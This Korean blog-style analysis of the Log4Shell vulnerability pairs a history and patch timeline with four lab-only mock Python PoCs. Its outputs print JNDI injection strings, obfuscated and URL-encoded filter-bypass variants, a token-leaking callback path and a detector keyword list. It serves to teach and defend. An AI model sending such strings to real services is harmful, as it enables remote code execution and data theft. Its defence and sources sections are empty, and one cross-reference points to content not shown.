๐ŸŒ Log4Shell (CVE-2021-44228) โ€” ๋กœ๊ทธ ํ•œ ์ค„์ด ์„œ๋ฒ„๋ฅผ ๋„˜๊ฒผ๋‹ค

2026-10-01 ยท Malware Deep-Dive (Zero-day Chain / RCE / Java Logging)

1. ๋ฐฐ๊ฒฝ/์—ญ์‚ฌ โ€” '๋กœ๊น… ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ'๊ฐ€ ์ธํ„ฐ๋„ท์˜ ๋‹จ์ผ ์‹คํŒจ์ ์ด ๋˜๋‹ค

Log4j๋Š” Ceki Gรผlcรผ๊ฐ€ 2001๋…„์— ๋งŒ๋“  ์ž๋ฐ” ๋กœ๊น… ํ”„๋ ˆ์ž„์›Œํฌ๋กœ, ์ง€๊ธˆ์€ Apache Software Foundation ์˜ Apache Logging Services ํ”„๋กœ์ ํŠธ๋‹ค. ๋ฌธ์ œ๋Š” ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ '์ง์ ‘ ์“ฐ๋Š” ํ”„๋กœ๊ทธ๋žจ'์—๋งŒ ๋“ค์–ด๊ฐ€๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ, TomcatยทElasticsearchยทKafkaยท์ˆ˜๋งŽ์€ ํ”„๋ ˆ์ž„์›Œํฌ์™€ ์ƒ์šฉ ์ œํ’ˆ์˜ ์˜์กด์„ฑ(dependency) ์œผ๋กœ ๊ฐ„์ ‘์ ์œผ๋กœ ๋Œ๋ ค ๋“ค์–ด๊ฐ„๋‹ค๋Š” ์ ์ด๋‹ค. ๊ฐœ๋ฐœ์ž๋Š” Log4j๋ฅผ ์“ด ์ ์ด ์—†๋Š”๋ฐ๋„ ์ž๊ธฐ ์„œ๋น„์Šค๊ฐ€ ์ทจ์•ฝํ•ด์ง„๋‹ค โ€” ์ „ํ˜•์ ์ธ ๊ณต๊ธ‰๋ง(supply-chain) ์ทจ์•ฝ์ ์ด๋‹ค.

Log4j 2 ์˜ ๋ฉ”์‹œ์ง€ ๋ฃฉ์—…(message lookup) ๊ธฐ๋Šฅ์€ ๋กœ๊ทธ ๋ฌธ์ž์—ด ์•ˆ์˜ ${prefix:name} ํŒจํ„ด์„ ์‹คํ–‰ ์‹œ์ ์— ํ•ด์„ํ•ด ๊ฐ’์„ ์ฑ„์›Œ ๋„ฃ๋Š”๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด log.info("version=${java:version}") ์€ ๊ทธ ์‹œ์ ์˜ JVM ๋ฒ„์ „์„ ์ฐ๋Š”๋‹ค. ํŽธ๋ฆฌํ•œ ๊ธฐ๋Šฅ์ด์ง€๋งŒ, ํ•ด์„ ๋Œ€์ƒ์— ${jndi:...} ๊ฐ€ ํฌํ•จ๋˜๊ณ  JNDI ๊ฐ€ ์›๊ฒฉ ์ €์žฅ์†Œ(LDAP/RMI)๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ์—ด๋ ค ์žˆ์—ˆ๋‹ค. ๋‘ ๊ธฐ๋Šฅ์ด ๊ฒน์น˜๋ฉด์„œ, '๋กœ๊ทธ์— ๊ธฐ๋ก๋˜๋Š” ์ž„์˜์˜ ์ž…๋ ฅ'์ด ๊ณง ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ๊ฒฝ๋กœ๊ฐ€ ๋๋‹ค.

  • ์ทจ์•ฝ์ : CVE-2021-44228 (Log4Shell) โ€” JNDI ์ธ์ ์…˜์„ ํ†ตํ•œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE)
  • ๋Œ€์ƒ ์ปดํฌ๋„ŒํŠธ: Apache Log4j 2 โ€” log4j-core (2.0-beta9 ~ 2.14.1, 2.15.0 ๋„ ๋ถ€๋ถ„ ์ทจ์•ฝ ยท 2.12.2/2.12.3/2.3.1 ์˜ˆ์™ธ)
  • ์œ„ํ—˜๋„: CVSS 10.0 (NVD: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) โ€” ์ธ์ฆยท์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ๋ถˆํ•„์š”
  • ์ œ๋ณด/๊ณต๊ฐœ: Chen Zhaojun (Alibaba Cloud Security), 2021-11-24 ๋น„๊ณต๊ฐœ ์ œ๋ณด โ†’ 2021-12-09 ๊ณต๊ฐœยทํŒจ์น˜ โ†’ 2021-12-10 CVE ๋ถ€์—ฌ
  • ํ•ต์‹ฌ ๊ธฐ๋ฒ•: ๋ฉ”์‹œ์ง€ ๋ฃฉ์—… ์น˜ํ™˜(${jndi:...}) โ†’ JNDI โ†’ LDAP/RMI/DNS/IIOP ์กฐํšŒ โ†’ ์›๊ฒฉ ํด๋ž˜์Šค ๋กœ๋”ฉ / ์—ญ์ง๋ ฌํ™” โ†’ RCE. ์ฝ”๋“œ ์‹คํ–‰์ด ๋ง‰ํ˜€๋„ DNSยทLDAP ์ฝœ๋ฐฑ์œผ๋กœ ๋ฐ์ดํ„ฐ ์œ ์ถœ(OOB) ๊ฐ€๋Šฅ
  • ์—ฐ์‡„ ์ทจ์•ฝ์ : CVE-2021-45046(9.0) ยท 45105(5.9) ยท 44832(6.6) โ€” ํ•˜๋‚˜์˜ "์›”"์ด ์•„๋‹ˆ๋ผ ์—ฐ์†๋œ ์ˆ˜์ • ๋ผ์šด๋“œ
  • ์˜ํ–ฅ: ์ž ์žฌ ์ˆ˜์–ต ๋Œ€ ๊ธฐ๊ธฐ ยท ๊ธฐ์—… ํด๋ผ์šฐ๋“œ 93% ์ทจ์•ฝ ยท ๊ณต๊ฐœ 10์ผ ๋’ค ํ‰๊ท  45%๋งŒ ํŒจ์น˜(WizยทEY)
  • ์ˆ˜์ • ์ด๋ ฅ: 2.15.0 โ†’ 2.16.0(๋ฃฉ์—…/JNDI ๊ธฐ๋ณธ ๋น„ํ™œ์„ฑ) โ†’ 2.17.0 โ†’ 2.17.1
  • ์—ฐ๊ณ„ ์œ„ํ˜‘: MuhstikยทMiraiยทTsunami ๋ด‡๋„ท ์Šค์บ” ยท ์ฝ”์ธ๋งˆ์ด๋„ˆ ยท Conti ๋žœ์„ฌ์›จ์–ด(12-17 ํ™•์ธ) ยท ์ด๋ž€ยท์ค‘๊ตญ ์—ฐ๊ณ„ ๊ทธ๋ฃน(Check Point)

2. ๊ฐ์—ผยท์ „ํŒŒ ๊ฒฝ๋กœ โ€” "์›œ์ด ์•„๋‹ˆ๋ผ, ์ทจ์•ฝํ•œ ์ฝ”๋“œ ๊ฒฝ๋กœ๋‹ค"

Log4Shell ์€ ์›œ์ด ์•„๋‹ˆ๋‹ค. ์Šค์Šค๋กœ ๋ณต์ œํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์„œ๋ฒ„๋ฅผ ์ฐพ์•„๋‹ค๋‹ˆ์ง€ ์•Š๋Š”๋‹ค. ๋Œ€์‹  "๋กœ๊ทธ๋กœ ๊ธฐ๋ก๋˜๋Š” ๋ชจ๋“  ์ž…๋ ฅ"์ด ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ๋œ๋‹ค โ€” ๊ทธ๋ž˜์„œ ๋ฐฉ์–ด์ž ์ž…์žฅ์—์„œ ์–ด๋””๋ฅผ ๋ง‰์•„์•ผ ํ• ์ง€ ์•Œ๊ธฐ ์–ด๋ ต๋‹ค.

์š”์•ฝํ•˜๋ฉด Log4Shell ์˜ '์ „ํŒŒ'๋Š” ์›œ์˜ ์ž๊ธฐ๋ณต์ œ๊ฐ€ ์•„๋‹ˆ๋ผ "์ธํ„ฐ๋„ท ์ „์ฒด ์Šค์บ” + ์ž๋™ํ™”๋œ ๋ฃฉ์—…"์ด๋‹ค. ์ทจ์•ฝํ•œ ์ฝ”๋“œ ํ•œ ์ค„์ด ์ด๋ฏธ ์—ด๋ ค ์žˆ๋Š” ๋ฌธ์ด์—ˆ๊ณ , ๊ณต๊ฒฉ์ž๋Š” ๋ฌธ์„ ๋‘๋“œ๋ฆฌ๊ธฐ๋งŒ ํ•˜๋ฉด ๋๋‹ค.

3. ๋™์ž‘ ์›๋ฆฌ ์ƒ์„ธ โ€” ๋ฃฉ์—… ํ•œ ์ค„์ด RCE๊นŒ์ง€ ๊ฐ€๋Š” ๊ตฌ์กฐ

ํ•ต์‹ฌ์€ Log4j 2 ์˜ ๋ฉ”์‹œ์ง€ ๋ฃฉ์—… ์น˜ํ™˜์ด๋‹ค. ๊ธฐ๋ณธ ์„ค์ •์—์„œ ๋กœ๊ทธ ๋ฌธ์ž์—ด์— ${prefix:name} ํ˜•ํƒœ์˜ ํ‘œํ˜„์‹์ด ์žˆ์œผ๋ฉด, Log4j ๋Š” ์ด๋ฅผ ์‹คํ–‰ ์‹œ์ ์— ํ•ด์„ํ•œ๋‹ค. Text: ${java:version} โ†’ Text: Java version 1.7.0_67 ์ฒ˜๋Ÿผ ๋ง์ด๋‹ค. ์ธ์‹๋˜๋Š” ํ‘œํ˜„์‹์— ${jndi:<lookup>} ๊ฐ€ ์žˆ์—ˆ๊ณ , JNDI ์กฐํšŒ ๋Œ€์ƒ์„ LDAP ๋“ฑ ์›๊ฒฉ ์„œ๋ฒ„๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค โ€” ์™ธ๋ถ€์˜ ์ž„์˜ URL ์„ Java ๊ฐ์ฒด ๋ฐ์ดํ„ฐ๋กœ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ์ด๋‹ค.

์ˆ˜์ • ์ด๋ ฅ โ€” ํ•œ ๋ฒˆ์— ๋๋‚˜์ง€ ์•Š์•˜๋‹ค:

CVECVSS๋ฌด์—‡์ˆ˜์ •
CVE-2021-44228 (Log4Shell)10.0๋ฉ”์‹œ์ง€ ๋ฃฉ์—…์˜ JNDI ๋ฏธ๋ณดํ˜ธ โ†’ LDAP ๋“ฑ์œผ๋กœ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰2.16.0
CVE-2021-450469.02.15.0 ์˜ ์ˆ˜์ •์ด ๋ถˆ์™„์ „ โ€” MDC ์ž…๋ ฅ + ๋น„๊ธฐ๋ณธ ํŒจํ„ด์—์„œ RCE/์œ ์ถœ2.16.0
CVE-2021-451055.9์ž๊ธฐ์ฐธ์กฐ ๋ฃฉ์—… ๋ฌดํ•œ ์žฌ๊ท€ โ†’ ์„œ๋น„์Šค ๊ฑฐ๋ถ€(DoS)2.17.0
CVE-2021-448326.6JDBC Appender + LDAP ๋ฐ์ดํ„ฐ์†Œ์Šค URI โ†’ RCE2.17.1

๊ตฌ๋ฒ„์ „ ์™„ํ™”์ฑ…๋„ ์•Œ์•„๋‘˜ ํ•„์š”๊ฐ€ ์žˆ๋‹ค. classpath ์—์„œ org.apache.logging.log4j.core.lookup.JndiLookup ํด๋ž˜์Šค๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ๋ฐฉ๋ฒ•๊ณผ, log4j2.formatMsgNoLookups=true ์‹œ์Šคํ…œ ์†์„ฑ์ด ๋„๋ฆฌ ์“ฐ์˜€์ง€๋งŒ ํ›„์ž๋Š” 2.15.0 ๊ธฐ์ค€์œผ๋กœ CVE-2021-45046 ์„ ๋ง‰์ง€ ๋ชปํ•ด ๋ถˆ์ถฉ๋ถ„ํ–ˆ๋‹ค. JRE ์ธก๋„ com.sun.jndi.ldap.object.trustURLCodebase=false ๊ฐ€ ๊ธฐ๋ณธ๊ฐ’์ด ๋˜๋ฉด์„œ(JDK 8u191 / 11.0.1 ์ดํ›„) ํ‰๋ฒ”ํ•œ ์›๊ฒฉ ํด๋ž˜์Šค ๋กœ๋”ฉ์€ ๋ง‰ํ˜”์ง€๋งŒ, ์ง๋ ฌํ™” ๊ฐ€์ ฏ ๋“ฑ ๋‹ค๋ฅธ ๋ฒกํ„ฐ๊ฐ€ ๋‚จ์•„ "์ตœ์‹  JDK๋ฉด ์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋ณด์žฅ์€ ๋˜์ง€ ์•Š์•˜๋‹ค. ์ฐธ๊ณ ๋กœ ์‹ค์ œ๋กœ ์ทจ์•ฝํ•œ ํŒจํ‚ค์ง€๋Š” log4j-core ๋ฟ์ด๊ณ , ์ดˆ๊ธฐ ๊ถŒ๊ณ ์—์„œ ํ•จ๊ป˜ ํ‘œ์‹œ๋œ log4j-api ๋Š” ์œ„์–‘์„ฑ์œผ๋กœ ์ •์ •๋๋‹ค.

4. ํ”ผํ•ด ๊ทœ๋ชจ/์˜ํ–ฅ โ€” ์‹ค์ œ ์ˆซ์ž

โš ๏ธ ์•„๋ž˜ PoC๋Š” ๋ชจ๋‘ '๋™์ž‘ ์›๋ฆฌ ์žฌํ˜„'์„ ์œ„ํ•œ ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. ์‹ค์ œ Log4j ๋ฐ”์ด๋„ˆ๋ฆฌ, ์‹ค์ œ ์•…์„ฑ LDAP ์„œ๋ฒ„, ์›๊ฒฉ ํด๋ž˜์Šค ๋กœ๋”ฉ ํŽ˜์ด๋กœ๋“œ, ์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฌธ์ž์—ด/IOC, ์‹ค์ œ ๊ณต๊ฒฉ ๋„๋ฉ”์ธ์€ ์ผ์ ˆ ํฌํ•จํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ๋Œ€์ƒ์€ 127.0.0.1 ๊ณผ ๋ฌธ์„œ์šฉ ์˜ˆ์•ฝ ๋„๋ฉ”์ธ(*.lab.local)์ด๋ฉฐ, ์ธํ„ฐ๋„ท๊ณผ ๋ถ„๋ฆฌ๋œ ๊ฒฉ๋ฆฌ ๋žฉ VM์—์„œ๋งŒ ์‹คํ–‰์„ ์ „์ œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์‹ค์ œ ์‹œ์Šคํ…œยท ํƒ€์ธ ์ž์‚ฐ์— ๋Œ€ํ•œ ์‹คํ–‰์€ ๋ถˆ๋ฒ•์ž…๋‹ˆ๋‹ค.

5. PoC โ€” ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ 4์ข… (๋กœ์ปฌ ์‹ค์Šต ์ „์ œ)

Log4Shell ์˜ 4๋Œ€ ๊ตฌ์„ฑ ์š”์†Œ โ€” โ‘  ๋ฉ”์‹œ์ง€ ๋ฃฉ์—… ์น˜ํ™˜ ์—”์ง„, โ‘ก JNDI/LDAP ์ฝœ๋ฐฑ(๋ฌดํ•ดํ•œ ์ˆ˜์‹ ๊ธฐ), โ‘ข ๋‚œ๋…ํ™” ๋Œ€์‘ ํƒ์ง€๊ธฐ, โ‘ฃ ์ทจ์•ฝํŒ/ํŒจ์น˜ํŒ ๋น„๊ต โ€” ๋ฅผ ๊ฐ๊ฐ ์ตœ์†Œ ํ˜•ํƒœ๋กœ ์žฌํ˜„ํ–ˆ๋‹ค. ์•„๋ž˜ ์‹คํ–‰ ๊ฒฐ๊ณผ๋Š” ์ด ๊ธ€์„ ์“ฐ๋ฉฐ ์‹ค์ œ๋กœ ์‹คํ–‰ํ•œ ์ถœ๋ ฅ์ด๋‹ค (๋žฉ VM, Python 3, ๋ชจ๋“  ๋Œ€์ƒ 127.0.0.1).

PoC โ‘  ๋ฉ”์‹œ์ง€ ๋ฃฉ์—… ์น˜ํ™˜ ์—”์ง„ โ€” ์™œ '๋กœ๊ทธ ๋ฌธ์ž์—ด'์ด ์‹คํ–‰๋˜๋Š”๊ฐ€

# mock_log4j.py (๋ฐœ์ทŒ) โ€” ์‹ค์ œ Log4j ์•„๋‹˜. '๋ฉ”์‹œ์ง€ ๋ฃฉ์—… ์น˜ํ™˜' ๊ตฌ์กฐ๋งŒ ์žฌํ˜„ํ•œ๋‹ค.
_PAT = re.compile(r"\$\{([^{}]*)\}")          # ๋กœ๊ทธ ๋ฌธ์ž์—ด์˜ ${ prefix : name }
def substitute(msg, guard=False):
    if guard:                                  # ํŒจ์น˜ํŒ: ๋ฃฉ์—… ์ž์ฒด๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๋Š”๋‹ค
        return msg
    cur = msg
    for _ in range(6):                         # ์ค‘์ฒฉ ${...} ์„ ์•ˆ์ชฝ๋ถ€ํ„ฐ ๋ฐ˜๋ณต ํ•ด์†Œ
        nxt = _PAT.sub(lambda x: do_lookup(*x.group(1).split(":", 1))
                       if ":" in x.group(1) else x.group(0), cur)
        if nxt == cur: break
        cur = nxt
    return cur

์‹คํ–‰ ๊ฒฐ๊ณผ(์ด๋ฒˆ ์‹คํ–‰ ์‹ค์ œ ์ถœ๋ ฅ):

[โ‘ ] ๋ฉ”์‹œ์ง€ ๋ฃฉ์—… ์น˜ํ™˜ ์—”์ง„ ์žฌํ˜„ (Log4j 2 ๊ธฐ๋ณธ ๋™์ž‘)
    ์ž…๋ ฅ: user=guest logged in at ${date:now}
    ๊ฒฐ๊ณผ: user=guest logged in at 2021-12-09
    ์ž…๋ ฅ(๋กœ๊ทธ๋กœ ํ˜๋Ÿฌ๋“  ํ—ค๋”): GET / HTTP/1.1  User-Agent: ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
    ๊ฒฐ๊ณผ: GET / HTTP/1.1  User-Agent: [JNDIโ†’ldap://127.0.0.1:1389/Basic/Command/lab]

์ •์ƒ ๋ฃฉ์—…(date)์ด 2021-12-09 ๋กœ ์น˜ํ™˜๋œ ๊ฒƒ๊ณผ, ๋กœ๊ทธ๋กœ ํ˜๋Ÿฌ๋“  ํ—ค๋”์˜ ${jndi:...} ๊ฐ€ ์‹ค์ œ ์กฐํšŒ๋กœ ์ด์–ด์ง„ ๊ฒƒ์„ ๊ฐ™์€ ์—”์ง„์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฐจ์ด๋Š” 'ํ”„๋ฆฌํ”ฝ์Šค๊ฐ€ jndi ๋ƒ' ๋ฟ์ด๋‹ค โ€” ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธฐ๋Š” ํ–‰์œ„๊ฐ€ ๊ณง ์™ธ๋ถ€ ์—ฐ๊ฒฐ์„ ํŠธ๋ฆฌ๊ฑฐํ•œ๋‹ค.

PoC โ‘ก ๋ชจ์˜ LDAP ์ฝœ๋ฐฑ โ€” ์ทจ์•ฝ ์„œ๋ฒ„๊ฐ€ '๋จผ์ €' ์ ‘์†ํ•œ๋‹ค

์•„๋ž˜ ๋ฆฌ์Šค๋„ˆ๋Š” ์ˆ˜์‹ ๋งŒ ๊ธฐ๋กํ•˜๋ฉฐ, ์‹ค์ œ ๊ณต๊ฒฉ์ฒ˜๋Ÿผ ์›๊ฒฉ ํด๋ž˜์Šค ์ฐธ์กฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š๋Š”๋‹ค(๊ทธ ๋ถ€๋ถ„์€ ์˜๋„์ ์œผ๋กœ ๊ตฌํ˜„ํ•˜์ง€ ์•Š์•˜๋‹ค).

# PoC โ‘ก : ๋ชจ์˜ JNDI/LDAP ์ฝœ๋ฐฑ ๋ฆฌ์Šค๋„ˆ โ€” ์‹ค์ œ ๊ณต๊ฒฉ์ด๋ฉด '์›๊ฒฉ ํด๋ž˜์Šค ์ฐธ์กฐ'๋ฅผ ๋Œ๋ ค์ค€๋‹ค.
#         ๋ณธ PoC ๋Š” '์ˆ˜์‹  ์‚ฌ์‹ค๋งŒ' ๊ธฐ๋กํ•˜๋ฉฐ ์•…์„ฑ ํด๋ž˜์Šค/ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ผ์ ˆ ์ œ๊ณตํ•˜์ง€ ์•Š๋Š”๋‹ค.
def mock_ldap_listener():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.bind((HOST, PORT)); srv.listen(8)          # 127.0.0.1:1389
    while not STOP.is_set():
        conn, addr = srv.accept()
        data = conn.recv(512)
        HITS.append((addr[0], data.decode("utf-8", "replace")))
        conn.close()

์‹คํ–‰ ๊ฒฐ๊ณผ(์ด๋ฒˆ ์‹คํ–‰ ์‹ค์ œ ์ถœ๋ ฅ):

[โ‘ก-๊ฒฐ๊ณผ] ๋ชจ์˜ LDAP ๋ฆฌ์Šค๋„ˆ ์ˆ˜์‹  ์ฝœ๋ฐฑ 4๊ฑด:
      โ† 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/Basic/Command/lab
      โ† 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/o
      โ† 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/lab-token-ABC123
      โ† 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/Basic/Command/lab
    โ€ป ์‹ค์ œ ๊ณต๊ฒฉ์ด๋ฉด ์—ฌ๊ธฐ์„œ '์›๊ฒฉ ํด๋ž˜์Šค ์ฐธ์กฐ'๋ฅผ ๋ฐ˜ํ™˜ํ•ด RCE ๋กœ ์ด์–ด์ง„๋‹ค.
    โ€ป ๋ณธ PoC ๋Š” ์ˆ˜์‹ ๋งŒ ๊ธฐ๋กํ•˜๋ฉฐ ์•…์„ฑ ํด๋ž˜์Šค/ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ผ์ ˆ ์ œ๊ณตํ•˜์ง€ ์•Š๋Š”๋‹ค.

ํ•ต์‹ฌ์€ ๋ฐฉํ–ฅ์ด๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ทจ์•ฝ ์„œ๋ฒ„์— '์ฝ”๋“œ๋ฅผ ๋ฐ€์–ด ๋„ฃ์€' ๊ฒŒ ์•„๋‹ˆ๋ผ, ์ทจ์•ฝ ์„œ๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•œ ์ฃผ์†Œ๋กœ ์Šค์Šค๋กœ ์ ‘์†ํ–ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์•„์›ƒ๋ฐ”์šด๋“œ ํ†ต์ œ(egress filtering) ๊ฐ€ ๋งค์šฐ ํšจ๊ณผ์ ์ธ ๋ฐฉ์–ด๊ฐ€ ๋œ๋‹ค(6์ ˆ).

PoC โ‘ข ํƒ์ง€๊ธฐ โ€” ๋‚œ๋…ํ™”ยทURL ์ธ์ฝ”๋”ฉ์„ ์ •๊ทœํ™”๋กœ ๋ฒ—๊ฒจ๋‚ธ๋‹ค

# PoC โ‘ข : ํƒ์ง€๊ธฐ โ€” ๋‚œ๋…ํ™”๋œ ${jndi:..} ๋ฅผ ์ •๊ทœํ™”ํ•ด์„œ ์žก์•„๋‚ธ๋‹ค
def normalize(s):
    s = urllib.parse.unquote(s)                 # %24%7B.. โ†’ ${..
    for _ in range(6):
        s = re.sub(r"\$\{\s*lower:\s*([^{}]*)\}", lambda m: m.group(1).lower(), s)
        s = re.sub(r"\$\{\s*upper:\s*([^{}]*)\}", lambda m: m.group(1).upper(), s)
    return s.replace("${", "").replace("}", "").lower()   # ๊ตฌ๋ถ„์ž ์ œ๊ฑฐ ํ›„ ์†Œ๋ฌธ์žํ™”
def detect(line):
    n = normalize(line)
    if "jndi" in n and any(p in n for p in ("ldap","ldaps","rmi","dns","iiop")):
        return "JNDI_LOOKUP"
    if "${" in line: return "SUSPICIOUS_SUB"    # ๋ฏธ์ƒ ํ”„๋ฆฌํ”ฝ์Šค/์œ ์ถœ ์‹œ๋„
    return None

์‹คํ–‰ ๊ฒฐ๊ณผ(์ด๋ฒˆ ์‹คํ–‰ ์‹ค์ œ ์ถœ๋ ฅ):

[โ‘ข] ํƒ์ง€๊ธฐ โ€” ๋กœ๊ทธ 5์ค„ ํŒ์ •
    -            GET /index.html HTTP/1.1  User-Agent: Mozilla/5.0
    JNDI_LOOKUP  ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
    JNDI_LOOKUP  User-Agent: ${${lower:j}ndi:ldap://127.0.0.1:1389/o}
    JNDI_LOOKUP  %24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fo%7D
    -            Cookie: theme=dark; lang=ko
    โ€ป 3๋ฒˆ์งธยท4๋ฒˆ์งธ ์ค„์ด ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ฅผ ๊ทธ๋ƒฅ ์ง€๋‚˜๊ฐ€๋Š” ํ˜•ํƒœ(๋‚œ๋…ํ™”ยทURL ์ธ์ฝ”๋”ฉ)๋‹ค.

${lower:j}ndi ์™€ %24%7B...%7D ์ฒ˜๋Ÿผ ๋ˆˆ์œผ๋กœ๋Š” jndi ๊ฐ€ ์•ˆ ๋ณด์ด๋Š” ์ž…๋ ฅ๋„ ์ •๊ทœํ™”๋ฅผ ๊ฑฐ์น˜๋ฉด ์žกํžŒ๋‹ค. ๋‹ค๋งŒ ์ด๊ฑด 'ํƒ์ง€'์ผ ๋ฟ '์ฐจ๋‹จ'์ด ์•„๋‹ˆ๋‹ค โ€” 4์ ˆ์—์„œ ๋ดค๋“ฏ ๋ณ€ํ˜•์€ ๊ณ„์† ๋‚˜์˜จ๋‹ค. ๋กœ๊ทธ ํŒŒ์ดํ”„๋ผ์ธ์— ์ด ์ •๊ทœํ™” ํŒ์ •์„ ๋„ฃ์–ด ์‚ฌํ›„ ์ถ”์ ์€ ๋ฐ˜๋“œ์‹œ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ด๋‘๋Š” ํŽธ์ด ์ข‹๋‹ค.

PoC โ‘ฃ ์ทจ์•ฝํŒ vs ํŒจ์น˜ํŒ โ€” ๋ฌด์—‡์ด ์‹ค์ œ๋กœ ๋‹ฌ๋ผ์ง€๋Š”๊ฐ€

# PoC โ‘ฃ : ํŒจ์น˜/์™„ํ™” ์‹œ๋ฎฌ๋ ˆ์ดํ„ฐ (์ทจ์•ฝํŒ vs ํŒจ์น˜ํŒ)
class MockLog4j:
    def __init__(self, version, format_msg_no_lookups=False, enable_jndi=True):
        self.version, self.fmnl, self.jndi = version, format_msg_no_lookups, enable_jndi
    def info(self, msg):
        guard = self.fmnl or not self.jndi      # ๋ฃฉ์—… ๋น„ํ™œ์„ฑ = ๋ฌธ์ž์—ด ๊ทธ๋Œ€๋กœ ๊ธฐ๋ก
        return "[" + self.version + "] " + substitute(msg, guard)

์‹คํ–‰ ๊ฒฐ๊ณผ(์ด๋ฒˆ ์‹คํ–‰ ์‹ค์ œ ์ถœ๋ ฅ):

[โ‘ฃ] ํŒจ์น˜/์™„ํ™” ์‹œ๋ฎฌ๋ ˆ์ดํ„ฐ
     [2.14.1 (์ทจ์•ฝ)] [JNDIโ†’ldap://127.0.0.1:1389/Basic/Command/lab]
     [2.15.0 + log4j2.formatMsgNoLookups=true] ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
     [2.16.0 (JNDI/๋ฃฉ์—… ๊ธฐ๋ณธ ๋น„ํ™œ์„ฑ)] ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
    โ€ป 2.16.0 ๋ถ€ํ„ฐ๋Š” ์ž…๋ ฅ์ด '๊ทธ๋ƒฅ ๋ฌธ์ž์—ด'๋กœ ๊ธฐ๋ก๋œ๋‹ค. ์ทจ์•ฝํŒ์—์„œ๋งŒ ์ฝœ๋ฐฑ์ด ๋ฐœ์ƒํ–ˆ๋‹ค.

๊ฐ™์€ ์ž…๋ ฅ์ด 2.14.1 ์—์„œ๋Š” ์ฝœ๋ฐฑ์„ ์œ ๋ฐœํ–ˆ๊ณ , 2.16.0 ์—์„œ๋Š” ๊ทธ๋ƒฅ ๋ฌธ์ž์—ด๋กœ ๊ธฐ๋ก๋๋‹ค. ํŒจ์น˜์˜ ๋ณธ์งˆ์€ 'ํŒจํ„ด์„ ๋” ์ž˜ ๋ง‰๋Š” ๊ฒƒ'์ด ์•„๋‹ˆ๋ผ ๋ฃฉ์—… ๊ธฐ๋Šฅ ์ž์ฒด๋ฅผ ๋„๋Š” ๊ฒƒ์ด๋‹ค.

๋„ค ์กฐ๊ฐ์˜ ๊ฒฐ๋ก ์€ ๋ช…ํ™•ํ•˜๋‹ค โ€” Log4Shell ์€ โ‘  ํŽธ์˜ ๊ธฐ๋Šฅ(๋ฃฉ์—…)์ด โ‘ก ์›๊ฒฉ ์‹คํ–‰ ๊ฒฝ๋กœ(JNDI)์™€ โ‘ข ํ”ํ•œ ๋ฐ์ดํ„ฐ ํ๋ฆ„(๋กœ๊น…)์—์„œ ๋งŒ๋‚˜ ํ„ฐ์ง„ ์‚ฌ๊ณ ๋‹ค. ๊ทธ๋ž˜์„œ ๋ฐฉ์–ด๋Š” "์ด ๋ฌธ์ž์—ด์„ ๋ง‰์ž"๊ฐ€ ์•„๋‹ˆ๋ผ "๊ธฐ๋Šฅ์„ ๋„๊ณ , ํ๋ฆ„์„ ๋Š๊ณ , ์˜์กด์„ฑ์„ ํŒŒ์•…ํ•˜์ž"๊ฐ€ ๋˜์–ด์•ผ ํ•œ๋‹ค.

6. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•/๊ตํ›ˆ

7. ์ถœ์ฒ˜

